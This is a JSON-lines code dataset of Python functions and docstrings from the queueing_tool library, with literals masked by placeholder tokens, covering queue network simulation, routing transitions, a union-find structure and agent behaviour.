          * An iterable of 2-tuples of the edge's source and\n              target vertex indices.\n\n        edge_type : int or an iterable of int (optional)\n            A integer, or a collection of integers identifying which\n            edge types will be set active.\n\n        Raises\n        ------\n        ValueError\n            If ``queues``, ``egdes``, and ``edge_type`` are all ``None``\n            and ``nActive`` is an integer less than 1\n            :exc:`~ValueError` is raised.\n        TypeError\n            If ``queues``, ``egdes``, and ``edge_type`` are all ``None``\n            and ``nActive`` is not an integer then a :exc:`~TypeError`\n            is raised.\n        QueueingToolError\n            Raised if all the queues specified are\n            :class:`NullQueues<.NullQueue>`.\n\n        Notes\n        -----\n        :class:`NullQueues<.NullQueue>` cannot be activated, and are\n        sifted out if they are specified. More specifically, every edge\n        with edge type 0 is sifted out.", "id": "f14533:c1:m16"}
{"signature": "def next_event_description(self):", "body": "if self._fancy_heap.size == <NUM_LIT:0>:<EOL><INDENT>event_type = '<STR_LIT>'<EOL>edge_index = None<EOL><DEDENT>else:<EOL><INDENT>s = [q._key() for q in self.edge2queue]<EOL>s.sort()<EOL>e = s[<NUM_LIT:0>][<NUM_LIT:1>]<EOL>q = self.edge2queue[e]<EOL>event_type = '<STR_LIT>' if q.next_event_description() == <NUM_LIT:1> else '<STR_LIT>'<EOL>edge_index = q.edge[<NUM_LIT:2>]<EOL><DEDENT>return event_type, edge_index<EOL>", "docstring": "Returns whether the next event is an arrival or a departure\n        and the queue the event is accuring at.\n\n        Returns\n        -------\n        des : str\n            Indicates whether the next event is an arrival, a\n            departure, or nothing; returns ``'Arrival'``,\n            ``'Departure'``, or ``'Nothing'``.\n        edge : int or ``None``\n            The edge index of the edge that this event will occur at.\n            If there are no events then ``None`` is returned.", "id": "f14533:c1:m17"}
{"signature": "def reset_colors(self):", "body": "for k, e in enumerate(self.g.edges()):<EOL><INDENT>self.g.set_ep(e, '<STR_LIT>', self.edge2queue[k].colors['<STR_LIT>'])<EOL><DEDENT>for v in self.g.nodes():<EOL><INDENT>self.g.set_vp(v, '<STR_LIT>', self.colors['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Resets all edge and vertex colors to their default values.", "id": "f14533:c1:m18"}
{"signature": "def set_transitions(self, mat):", "body": "if isinstance(mat, dict):<EOL><INDENT>for key, value in mat.items():<EOL><INDENT>probs = list(value.values())<EOL>if key not in self.g.node:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg)<EOL><DEDENT>elif len(self.out_edges[key]) > <NUM_LIT:0> and not np.isclose(sum(probs), <NUM_LIT:1>):<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg)<EOL><DEDENT>elif (np.array(probs) < <NUM_LIT:0>).any():<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg)<EOL><DEDENT>for k, e in enumerate(sorted(self.g.out_edges(key))):<EOL><INDENT>self._route_probs[key][k] = value.get(e[<NUM_LIT:1>], <NUM_LIT:0>)<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(mat, np.ndarray):<EOL><INDENT>non_terminal = np.array([self.g.out_degree(v) > <NUM_LIT:0> for v in self.g.nodes()])<EOL>if mat.shape != (self.nV, self.nV):<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(self.nV, self.nV)<EOL>raise ValueError(msg)<EOL><DEDENT>elif not np.allclose(np.sum(mat[non_terminal, :], axis=<NUM_LIT:1>), <NUM_LIT:1>):<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg)<EOL><DEDENT>elif (mat < <NUM_LIT:0>).any():<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>for k in range(self.nV):<EOL><INDENT>for j, e in enumerate(sorted(self.g.out_edges(k))):<EOL><INDENT>self._route_probs[k][j] = mat[k, e[<NUM_LIT:1>]]<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Change the routing transitions probabilities for the\n        network.\n\n        Parameters\n        ----------\n        mat : dict or :class:`~numpy.ndarray`\n            A transition routing matrix or transition dictionary. If\n            passed a dictionary, the keys are source vertex indices and\n            the values are dictionaries with target vertex indicies\n            as the keys and the probabilities of routing from the\n            source to the target as the values.\n\n        Raises\n        ------\n        ValueError\n            A :exc:`.ValueError` is raised if: the keys in the dict\n            don't match with a vertex index in the graph; or if the\n            :class:`~numpy.ndarray` is passed with the wrong shape,\n            must be (``num_vertices``, ``num_vertices``); or the values\n            passed are not probabilities (for each vertex they are\n            positive and sum to 1);\n        TypeError\n            A :exc:`.TypeError` is raised if mat is not a dict or\n            :class:`~numpy.ndarray`.\n\n        Examples\n        --------\n        The default transition matrix is every out edge being equally\n        likely:\n\n        >>> import queueing_tool as qt\n        >>> adjacency = {\n        ...     0: [2],\n        ...     1: [2, 3],\n        ...     2: [0, 1, 2, 4],\n        ...     3: [1],\n        ...     4: [2],\n        ... }\n        >>> g = qt.adjacency2graph(adjacency)\n        >>> net = qt.QueueNetwork(g)\n        >>> net.transitions(False)  # doctest: +ELLIPSIS\n        ...                         # doctest: +NORMALIZE_WHITESPACE\n        {0: {2: 1.0},\n         1: {2: 0.5, 3: 0.5},\n         2: {0: 0.25, 1: 0.25, 2: 0.25, 4: 0.25},\n         3: {1: 1.0},\n         4: {2: 1.0}}\n\n        If you want to change only one vertex's transition\n        probabilities, you can do so with the following:\n\n        >>> net.set_transitions({1 : {2: 0.75, 3: 0.25}})\n        >>> net.transitions(False)  # doctest: +ELLIPSIS\n        ...                         # doctest: +NORMALIZE_WHITESPACE\n        {0: {2: 1.0},\n         1: {2: 0.75, 3: 0.25},\n         2: {0: 0.25, 1: 0.25, 2: 0.25, 4: 0.25},\n         3: {1: 1.0},\n         4: {2: 1.0}}\n\n        One can generate a transition matrix using\n        :func:`.generate_transition_matrix`. You can change all\n        transition probabilities with an :class:`~numpy.ndarray`:\n\n        >>> mat = qt.generate_transition_matrix(g, seed=10)\n        >>> net.set_transitions(mat)\n        >>> net.transitions(False)  # doctest: +ELLIPSIS\n        ...                         # doctest: +NORMALIZE_WHITESPACE\n        {0: {2: 1.0},\n         1: {2: 0.962..., 3: 0.037...},\n         2: {0: 0.301..., 1: 0.353..., 2: 0.235..., 4: 0.108...},\n         3: {1: 1.0},\n         4: {2: 1.0}}\n\n        See Also\n        --------\n        :meth:`.transitions` : Return the current routing\n            probabilities.\n        :func:`.generate_transition_matrix` : Generate a random routing\n            matrix.", "id": "f14533:c1:m19"}
{"signature": "def show_active(self, **kwargs):", "body": "g = self.g<EOL>for v in g.nodes():<EOL><INDENT>self.g.set_vp(v, '<STR_LIT>', [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT>])<EOL>is_active = False<EOL>my_iter = g.in_edges(v) if g.is_directed() else g.out_edges(v)<EOL>for e in my_iter:<EOL><INDENT>ei = g.edge_index[e]<EOL>if self.edge2queue[ei]._active:<EOL><INDENT>is_active = True<EOL>break<EOL><DEDENT><DEDENT>if is_active:<EOL><INDENT>self.g.set_vp(v, '<STR_LIT>', self.colors['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>self.g.set_vp(v, '<STR_LIT>', self.colors['<STR_LIT>'])<EOL><DEDENT><DEDENT>for e in g.edges():<EOL><INDENT>ei = g.edge_index[e]<EOL>if self.edge2queue[ei]._active:<EOL><INDENT>self.g.set_ep(e, '<STR_LIT>', self.colors['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>self.g.set_ep(e, '<STR_LIT>', self.colors['<STR_LIT>'])<EOL><DEDENT><DEDENT>self.draw(update_colors=False, **kwargs)<EOL>self._update_all_colors()<EOL>", "docstring": "Draws the network, highlighting active queues.\n\n        The colored vertices represent vertices that have at least one\n        queue on an in-edge that is active. Dark edges represent\n        queues that are active, light edges represent queues that are\n        inactive.\n\n        Parameters\n        ----------\n        **kwargs\n            Any additional parameters to pass to :meth:`.draw`, and\n            :meth:`.QueueNetworkDiGraph.draw_graph`.\n\n        Notes\n        -----\n        Active queues are :class:`QueueServers<.QueueServer>` that\n        accept arrivals from outside the network. The colors are\n        defined by the class attribute ``colors``. The relevant keys\n        are ``vertex_active``, ``vertex_inactive``, ``edge_active``,\n        and ``edge_inactive``.", "id": "f14533:c1:m20"}
{"signature": "def show_type(self, edge_type, **kwargs):", "body": "for v in self.g.nodes():<EOL><INDENT>e = (v, v)<EOL>if self.g.is_edge(e) and self.g.ep(e, '<STR_LIT>') == edge_type:<EOL><INDENT>ei = self.g.edge_index[e]<EOL>self.g.set_vp(v, '<STR_LIT>', self.colors['<STR_LIT>'])<EOL>self.g.set_vp(v, '<STR_LIT>', self.edge2queue[ei].colors['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>self.g.set_vp(v, '<STR_LIT>', self.colors['<STR_LIT>'])<EOL>self.g.set_vp(v, '<STR_LIT>', [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT>])<EOL><DEDENT><DEDENT>for e in self.g.edges():<EOL><INDENT>if self.g.ep(e, '<STR_LIT>') == edge_type:<EOL><INDENT>self.g.set_ep(e, '<STR_LIT>', self.colors['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>self.g.set_ep(e, '<STR_LIT>', self.colors['<STR_LIT>'])<EOL><DEDENT><DEDENT>self.draw(update_colors=False, **kwargs)<EOL>self._update_all_colors()<EOL>", "docstring": "Draws the network, highlighting queues of a certain type.\n\n        The colored vertices represent self loops of type ``edge_type``.\n        Dark edges represent queues of type ``edge_type``.\n\n        Parameters\n        ----------\n        edge_type : int\n            The type of vertices and edges to be shown.\n        **kwargs\n            Any additional parameters to pass to :meth:`.draw`, and\n            :meth:`.QueueNetworkDiGraph.draw_graph`\n\n        Notes\n        -----\n        The colors are defined by the class attribute ``colors``. The\n        relevant colors are ``vertex_active``, ``vertex_inactive``,\n        ``vertex_highlight``, ``edge_active``, and ``edge_inactive``.\n\n        Examples\n        --------\n        The following code highlights all edges with edge type ``2``.\n        If the edge is a loop then the vertex is highlighted as well.\n        In this case all edges with edge type ``2`` happen to be loops.\n\n        >>> import queueing_tool as qt\n        >>> g = qt.generate_pagerank_graph(100, seed=13)\n        >>> net = qt.QueueNetwork(g, seed=13)\n        >>> fname = 'edge_type_2.png'\n        >>> net.show_type(2, fname=fname) # doctest: +SKIP\n\n        .. figure:: edge_type_2-1.png\n           :align: center", "id": "f14533:c1:m21"}
{"signature": "def simulate(self, n=<NUM_LIT:1>, t=None):", "body": "if not self._initialized:<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>raise QueueingToolError(msg)<EOL><DEDENT>if t is None:<EOL><INDENT>for dummy in range(n):<EOL><INDENT>self._simulate_next_event(slow=False)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>now = self._t<EOL>while self._t < now + t:<EOL><INDENT>self._simulate_next_event(slow=False)<EOL><DEDENT><DEDENT>", "docstring": "Simulates the network forward.\n\n        Simulates either a specific number of events or for a specified\n        amount of simulation time.\n\n        Parameters\n        ----------\n        n : int (optional, default: 1)\n            The number of events to simulate. If ``t`` is not given\n            then this parameter is used.\n        t : float (optional)\n            The amount of simulation time to simulate forward. If\n            given, ``t`` is used instead of ``n``.\n\n        Raises\n        ------\n        QueueingToolError\n            Will raise a :exc:`.QueueingToolError` if the\n            ``QueueNetwork`` has not been initialized. Call\n            :meth:`.initialize` before calling this method.\n\n        Examples\n        --------\n        Let ``net`` denote your instance of a ``QueueNetwork``. Before\n        you simulate, you need to initialize the network, which allows\n        arrivals from outside the network. To initialize with 2 (random\n        chosen) edges accepting arrivals run:\n\n        >>> import queueing_tool as qt\n        >>> g = qt.generate_pagerank_graph(100, seed=50)\n        >>> net = qt.QueueNetwork(g, seed=50)\n        >>> net.initialize(2)\n\n        To simulate the network 50000 events run:\n\n        >>> net.num_events\n        0\n        >>> net.simulate(50000)\n        >>> net.num_events\n        50000\n\n        To simulate the network for at least 75 simulation time units\n        run:\n\n        >>> t0 = net.current_time\n        >>> net.simulate(t=75)\n        >>> t1 = net.current_time\n        >>> t1 - t0 # doctest: +ELLIPSIS\n        75...", "id": "f14533:c1:m22"}
{"signature": "def start_collecting_data(self, queues=None, edge=None, edge_type=None):", "body": "queues = _get_queues(self.g, queues, edge, edge_type)<EOL>for k in queues:<EOL><INDENT>self.edge2queue[k].collect_data = True<EOL><DEDENT>", "docstring": "Tells the queues to collect data on agents' arrival, service\n        start, and departure times.\n\n        If none of the parameters are given then every\n        :class:`.QueueServer` will start collecting data.\n\n        Parameters\n        ----------\n        queues : :any:`int`, *array_like* (optional)\n            The edge index (or an iterable of edge indices) identifying\n            the :class:`QueueServer(s)<.QueueServer>` that will start\n            collecting data.\n        edge : 2-tuple of int or *array_like* (optional)\n            Explicitly specify which queues will collect data. Must be\n            either:\n\n            * A 2-tuple of the edge's source and target vertex\n              indices, or\n            * An iterable of 2-tuples of the edge's source and\n              target vertex indices.\n\n        edge_type : int or an iterable of int (optional)\n            A integer, or a collection of integers identifying which\n            edge types will be set active.", "id": "f14533:c1:m24"}
{"signature": "def stop_collecting_data(self, queues=None, edge=None, edge_type=None):", "body": "queues = _get_queues(self.g, queues, edge, edge_type)<EOL>for k in queues:<EOL><INDENT>self.edge2queue[k].collect_data = False<EOL><DEDENT>", "docstring": "Tells the queues to stop collecting data on agents.\n\n        If none of the parameters are given then every\n        :class:`.QueueServer` will stop collecting data.\n\n        Parameters\n        ----------\n        queues : int, *array_like* (optional)\n            The edge index (or an iterable of edge indices) identifying\n            the :class:`QueueServer(s)<.QueueServer>` that will stop\n            collecting data.\n        edge : 2-tuple of int or *array_like* (optional)\n            Explicitly specify which queues will stop collecting data.\n            Must be either:\n\n            * A 2-tuple of the edge's source and target vertex\n              indices, or\n            * An iterable of 2-tuples of the edge's source and\n              target vertex indices.\n\n        edge_type : int or an iterable of int (optional)\n            A integer, or a collection of integers identifying which\n            edge types will stop collecting data.", "id": "f14533:c1:m25"}
{"signature": "def transitions(self, return_matrix=True):", "body": "if return_matrix:<EOL><INDENT>mat = np.zeros((self.nV, self.nV))<EOL>for v in self.g.nodes():<EOL><INDENT>ind = [e[<NUM_LIT:1>] for e in sorted(self.g.out_edges(v))]<EOL>mat[v, ind] = self._route_probs[v]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>mat = {<EOL>k: {e[<NUM_LIT:1>]: p for e, p in zip(sorted(self.g.out_edges(k)), value)}<EOL>for k, value in enumerate(self._route_probs)<EOL>}<EOL><DEDENT>return mat<EOL>", "docstring": "Returns the routing probabilities for each vertex in the\n        graph.\n\n        Parameters\n        ----------\n        return_matrix : bool (optional, the default is ``True``)\n            Specifies whether an :class:`~numpy.ndarray` is returned.\n            If ``False``, a dict is returned instead.\n\n        Returns\n        -------\n        out : a dict or :class:`~numpy.ndarray`\n            The transition probabilities for each vertex in the graph.\n            If ``out`` is an :class:`~numpy.ndarray`, then\n            ``out[v, u]`` returns the probability of a transition from\n            vertex ``v`` to vertex ``u``. If ``out`` is a dict\n            then ``out_edge[v][u]`` is the probability of moving from\n            vertex ``v`` to the vertex ``u``.\n\n        Examples\n        --------\n        Lets change the routing probabilities:\n\n        >>> import queueing_tool as qt\n        >>> import networkx as nx\n        >>> g = nx.sedgewick_maze_graph()\n        >>> net = qt.QueueNetwork(g)\n\n        Below is an adjacency list for the graph ``g``.\n\n        >>> ans = qt.graph2dict(g, False)\n        >>> {k: sorted(v) for k, v in ans.items()}\n        ...                         # doctest: +NORMALIZE_WHITESPACE\n        {0: [2, 5, 7],\n         1: [7],\n         2: [0, 6],\n         3: [4, 5],\n         4: [3, 5, 6, 7],\n         5: [0, 3, 4],\n         6: [2, 4],\n         7: [0, 1, 4]}\n\n        The default transition matrix is every out edge being equally\n        likely:\n\n        >>> net.transitions(False)  # doctest: +ELLIPSIS\n        ...                         # doctest: +NORMALIZE_WHITESPACE\n        {0: {2: 0.333..., 5: 0.333..., 7: 0.333...},\n         1: {7: 1.0},\n         2: {0: 0.5, 6: 0.5},\n         3: {4: 0.5, 5: 0.5},\n         4: {3: 0.25, 5: 0.25, 6: 0.25, 7: 0.25},\n         5: {0: 0.333..., 3: 0.333..., 4: 0.333...},\n         6: {2: 0.5, 4: 0.5},\n         7: {0: 0.333..., 1: 0.333..., 4: 0.333...}}\n\n        Now we will generate a random routing matrix:\n\n        >>> mat = qt.generate_transition_matrix(g, seed=96)\n        >>> net.set_transitions(mat)\n        >>> net.transitions(False)  # doctest: +ELLIPSIS\n        ...                         # doctest: +NORMALIZE_WHITESPACE\n        {0: {2: 0.112..., 5: 0.466..., 7: 0.420...},\n         1: {7: 1.0},\n         2: {0: 0.561..., 6: 0.438...},\n         3: {4: 0.545..., 5: 0.454...},\n         4: {3: 0.374..., 5: 0.381..., 6: 0.026..., 7: 0.217...},\n         5: {0: 0.265..., 3: 0.460..., 4: 0.274...},\n         6: {2: 0.673..., 4: 0.326...},\n         7: {0: 0.033..., 1: 0.336..., 4: 0.630...}}\n\n        What this shows is the following: when an :class:`.Agent` is at\n        vertex ``2`` they will transition to vertex ``0`` with\n        probability ``0.561`` and route to vertex ``6`` probability\n        ``0.438``, when at vertex ``6`` they will transition back to\n        vertex ``2`` with probability ``0.673`` and route vertex ``4``\n        probability ``0.326``, etc.", "id": "f14533:c1:m26"}
{"signature": "def size(self, s):", "body": "leader = self.find(s)<EOL>return self._size[leader]<EOL>", "docstring": "Returns the number of elements in the set that ``s`` belongs to.\n\n        Parameters\n        ----------\n        s : object\n            An object\n\n        Returns\n        -------\n        out : int\n            The number of elements in the set that ``s`` belongs to.", "id": "f14535:c0:m2"}
{"signature": "def find(self, s):", "body": "pSet   = [s]<EOL>parent = self._leader[s]<EOL>while parent != self._leader[parent]:<EOL><INDENT>pSet.append(parent)<EOL>parent = self._leader[parent]<EOL><DEDENT>if len(pSet) > <NUM_LIT:1>:<EOL><INDENT>for a in pSet:<EOL><INDENT>self._leader[a] = parent<EOL><DEDENT><DEDENT>return parent<EOL>", "docstring": "Locates the leader of the set to which the element ``s`` belongs.\n\n        Parameters\n        ----------\n        s : object\n            An object that the ``UnionFind`` contains.\n\n        Returns\n        -------\n        object\n            The leader of the set that contains ``s``.", "id": "f14535:c0:m3"}
{"signature": "def union(self, a, b):", "body": "s1, s2 = self.find(a), self.find(b)<EOL>if s1 != s2:<EOL><INDENT>r1, r2  = self._rank[s1], self._rank[s2]<EOL>if r2 > r1:<EOL><INDENT>r1, r2 = r2, r1<EOL>s1, s2 = s2, s1<EOL><DEDENT>if r1 == r2:<EOL><INDENT>self._rank[s1] += <NUM_LIT:1><EOL><DEDENT>self._leader[s2] = s1<EOL>self._size[s1]  += self._size[s2]<EOL>self.nClusters  -= <NUM_LIT:1><EOL><DEDENT>", "docstring": "Merges the set that contains ``a`` with the set that contains ``b``.\n\n        Parameters\n        ----------\n        a, b : objects\n            Two objects whose sets are to be merged.", "id": "f14535:c0:m4"}
{"signature": "def add_loss(self, *args, **kwargs):", "body": "self.blocked += <NUM_LIT:1><EOL>", "docstring": "Adds one to the number of times the agent has been blocked\n        from entering a queue.", "id": "f14536:c0:m7"}
{"signature": "def desired_destination(self, network, edge):", "body": "n = len(network.out_edges[edge[<NUM_LIT:1>]])<EOL>if n <= <NUM_LIT:1>:<EOL><INDENT>return network.out_edges[edge[<NUM_LIT:1>]][<NUM_LIT:0>]<EOL><DEDENT>u = uniform()<EOL>pr = network._route_probs[edge[<NUM_LIT:1>]]<EOL>k = _choice(pr, u, n)<EOL>return network.out_edges[edge[<NUM_LIT:1>]][k]<EOL>", "docstring": "Returns the agents next destination given their current\n        location on the network.\n\n        An ``Agent`` chooses one of the out edges at random. The\n        probability that the ``Agent`` will travel along a specific\n        edge is specified in the :class:`QueueNetwork's<.QueueNetwork>`\n        transition matrix.\n\n        Parameters\n        ----------\n        network : :class:`.QueueNetwork`\n            The :class:`.QueueNetwork` where the Agent resides.\n        edge : tuple\n            A 4-tuple indicating which edge this agent is located at.\n            The first two slots indicate the current edge's source and\n            target vertices, while the third slot indicates this edges\n            ``edge_index``. The last slot indicates the edge type of\n            that edge\n\n        Returns\n        -------\n        out : int\n            Returns an the edge index corresponding to the agents next\n            edge to visit in the network.\n\n        See Also\n        --------\n        :meth:`.transitions` : :class:`QueueNetwork's<.QueueNetwork>`\n            method that returns the transition probabilities for each\n            edge in the graph.", "id": "f14536:c0:m8"}
{"signature": "def queue_action(self, queue, *args, **kwargs):", "body": "pass<EOL>", "docstring": "A method that acts on the queue the Agent is at. This method\n        is called when the Agent arrives at the queue (where\n        ``args[0] == 0``), when service starts for the Agent (where\n        ``args[0] == 1``), and when the Agent departs from the queue\n        (where ``args[0] == 2``). By default, this method does nothing\n        to the queue, but is here if the Agent class is extended and\n        this method is overwritten.", "id": "f14536:c0:m9"}
{"signature": "def desired_destination(self, network, edge):", "body": "adjacent_edges = network.out_edges[edge[<NUM_LIT:1>]]<EOL>d = _argmin([network.edge2queue[d].number_queued() for d in adjacent_edges])<EOL>return adjacent_edges[d]<EOL>", "docstring": "Returns the agents next destination given their current\n        location on the network.\n\n        ``GreedyAgents`` choose their next destination with-in the\n        network by picking the adjacent queue with the fewest number of\n        :class:`Agents<.Agent>` in the queue.\n\n        Parameters\n        ----------\n        network : :class:`.QueueNetwork`\n            The :class:`.QueueNetwork` where the Agent resides.\n        edge : tuple\n            A 4-tuple indicating which edge this agent is located at.\n            The first two slots indicate the current edge's source and\n            target vertices, while the third slot indicates this edges\n            ``edge_index``. The last slot indicates the edges edge\n            type.\n\n        Returns\n        -------\n        out : int\n            Returns an the edge index corresponding to the agents next\n            edge to visit in the network.", "id": "f14536:c1:m2"}
{"signature": "def queue_action(self, queue, *args, **kwargs):", "body": "if isinstance(queue, ResourceQueue):<EOL><INDENT>if self._has_resource:<EOL><INDENT>self._has_resource = False<EOL>self._had_resource = True<EOL><DEDENT>else:<EOL><INDENT>if queue.num_servers > <NUM_LIT:0>:<EOL><INDENT>queue.set_num_servers(queue.num_servers - <NUM_LIT:1>)<EOL>self._has_resource = True<EOL>self._had_resource = False<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Function that specifies the interaction with a\n        :class:`.ResourceQueue` upon departure.\n\n        When departuring from a :class:`.ResourceQueue` (or a\n        :class:`.QueueServer`), this method is called. If the agent\n        does not already have a resource then it decrements the number\n        of servers at :class:`.ResourceQueue` by one. Note that this\n        only applies to :class:`ResourceQueue's<.ResourceQueue>`.\n\n        Parameters\n        ----------\n        queue : :class:`.QueueServer`\n            The instance of the queue that the ``ResourceAgent`` will\n            interact with.", "id": "f14538:c0:m2"}
{"signature": "def next_event(self):", "body": "if isinstance(self._arrivals[<NUM_LIT:0>], ResourceAgent):<EOL><INDENT>if self._departures[<NUM_LIT:0>]._time < self._arrivals[<NUM_LIT:0>]._time:<EOL><INDENT>return super(ResourceQueue, self).next_event()<EOL><DEDENT>elif self._arrivals[<NUM_LIT:0>]._time < infty:<EOL><INDENT>if self._arrivals[<NUM_LIT:0>]._has_resource:<EOL><INDENT>arrival = heappop(self._arrivals)<EOL>self._current_t = arrival._time<EOL>self._num_total -= <NUM_LIT:1><EOL>self.set_num_servers(self.num_servers + <NUM_LIT:1>)<EOL>if self.collect_data:<EOL><INDENT>t = arrival._time<EOL>if arrival.agent_id not in self.data:<EOL><INDENT>self.data[arrival.agent_id] = [[t, t, t, len(self.queue), self.num_system]]<EOL><DEDENT>else:<EOL><INDENT>self.data[arrival.agent_id].append([t, t, t, len(self.queue), self.num_system])<EOL><DEDENT><DEDENT>if self._arrivals[<NUM_LIT:0>]._time < self._departures[<NUM_LIT:0>]._time:<EOL><INDENT>self._time = self._arrivals[<NUM_LIT:0>]._time<EOL><DEDENT>else:<EOL><INDENT>self._time = self._departures[<NUM_LIT:0>]._time<EOL><DEDENT><DEDENT>elif self.num_system < self.num_servers:<EOL><INDENT>super(ResourceQueue, self).next_event()<EOL><DEDENT>else:<EOL><INDENT>self.num_blocked += <NUM_LIT:1><EOL>self._num_arrivals += <NUM_LIT:1><EOL>self._num_total -= <NUM_LIT:1><EOL>arrival = heappop(self._arrivals)<EOL>self._current_t = arrival._time<EOL>if self.collect_data:<EOL><INDENT>if arrival.agent_id not in self.data:<EOL><INDENT>self.data[arrival.agent_id] = [[arrival._time, <NUM_LIT:0>, <NUM_LIT:0>, len(self.queue), self.num_system]]<EOL><DEDENT>else:<EOL><INDENT>self.data[arrival.agent_id].append([arrival._time, <NUM_LIT:0>, <NUM_LIT:0>, len(self.queue), self.num_system])<EOL><DEDENT><DEDENT>if self._arrivals[<NUM_LIT:0>]._time < self._departures[<NUM_LIT:0>]._time:<EOL><INDENT>self._time = self._arrivals[<NUM_LIT:0>]._time<EOL><DEDENT>else:<EOL><INDENT>self._time = self._departures[<NUM_LIT:0>]._time<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>return super(ResourceQueue, self).next_event()<EOL><DEDENT>", "docstring": "Simulates the queue forward one event.\n\n        This method behaves identically to a :class:`.LossQueue` if the\n        arriving/departing agent is anything other than a\n        :class:`.ResourceAgent`. The differences are;\n\n        Arriving:\n\n        * If the :class:`.ResourceAgent` has a resource then it deletes\n          the agent upon arrival and adds one to ``num_servers``.\n        * If the :class:`.ResourceAgent` is arriving without a resource\n          then nothing special happens.\n\n        Departing:\n\n        * If the :class:`.ResourceAgent` does not have a resource, then\n          ``num_servers`` decreases by one and the agent then *has a\n          resource*.\n\n        Use :meth:`~QueueServer.simulate` for simulating instead.", "id": "f14538:c1:m3"}
{"signature": "def poisson_random_measure(t, rate, rate_max):", "body": "scale = <NUM_LIT:1.0> / rate_max<EOL>t = t + exponential(scale)<EOL>while rate_max * uniform() > rate(t):<EOL><INDENT>t = t + exponential(scale)<EOL><DEDENT>return t<EOL>", "docstring": "A function that returns the arrival time of the next arrival for\n    a Poisson random measure.\n\n    Parameters\n    ----------\n    t : float\n        The start time from which to simulate the next arrival time.\n    rate : function\n        The *intensity function* for the measure, where ``rate(t)`` is\n        the expected arrival rate at time ``t``.\n    rate_max : float\n        The maximum value of the ``rate`` function.\n\n    Returns\n    -------\n    out : float\n        The time of the next arrival.\n\n    Notes\n    -----\n    This function returns the time of the next arrival, where the\n    distribution of the number of arrivals between times :math:`t` and\n    :math:`t+s` is Poisson with mean\n\n    .. math::\n\n       \\int_{t}^{t+s} dx \\, r(x)\n\n    where :math:`r(t)` is the supplied ``rate`` function. This function\n    can only simulate processes that have bounded intensity functions.\n    See chapter 6 of [3]_ for more on the mathematics behind Poisson\n    random measures; the book's publisher, Springer, has that chapter\n    available online for free at (`pdf`_\\).\n\n    A Poisson random measure is sometimes called a non-homogeneous\n    Poisson process. A Poisson process is a special type of Poisson\n    random measure.\n\n    .. _pdf: http://www.springer.com/cda/content/document/\\\n                cda_downloaddocument/9780387878584-c1.pdf\n\n    Examples\n    --------\n    Suppose you wanted to model the arrival process as a Poisson\n    random measure with rate function :math:`r(t) = 2 + \\sin( 2\\pi t)`.\n    Then you could do so as follows:\n\n    >>> import queueing_tool as qt\n    >>> import numpy as np\n    >>> np.random.seed(10)\n    >>> rate  = lambda t: 2 + np.sin(2 * np.pi * t)\n    >>> arr_f = lambda t: qt.poisson_random_measure(t, rate, 3)\n    >>> arr_f(1)  # doctest: +ELLIPSIS\n    1.491...\n\n    References\n    ----------\n    .. [3] Cinlar, Erhan. *Probability and stochastics*. Graduate Texts in\\\n           Mathematics. Vol. 261. Springer, New York, 2011.\\\n           :doi:`10.1007/978-0-387-87859-1`", "id": "f14539:m0"}
{"signature": "def at_capacity(self):", "body": "return False<EOL>", "docstring": "Returns whether the queue is at capacity or not.\n\n        Returns\n        -------\n        bool\n            Always returns ``False``, since the ``QueueServer`` class\n            has infinite capacity.", "id": "f14539:c0:m7"}
{"signature": "def clear(self):", "body": "self.data = {}<EOL>self._num_arrivals = <NUM_LIT:0><EOL>self._oArrivals = <NUM_LIT:0><EOL>self.num_departures = <NUM_LIT:0><EOL>self.num_system = <NUM_LIT:0><EOL>self._num_total = <NUM_LIT:0><EOL>self._current_t = <NUM_LIT:0><EOL>self._time = infty<EOL>self._next_ct = <NUM_LIT:0><EOL>self._active = False<EOL>self.queue = collections.deque()<EOL>inftyAgent = InftyAgent()<EOL>self._arrivals = [inftyAgent]<EOL>self._departures = [inftyAgent]<EOL>", "docstring": "Clears out the queue. Removes all arrivals, departures, and\n        queued agents from the :class:`.QueueServer`, resets\n        ``num_arrivals``, ``num_departures``, ``num_system``, and the clock to\n        zero. It also clears any stored ``data`` and the server is then\n        set to inactive.", "id": "f14539:c0:m8"}
{"signature": "def copy(self):", "body": "return copy.deepcopy(self)<EOL>", "docstring": "Returns a deep copy of itself.", "id": "f14539:c0:m9"}
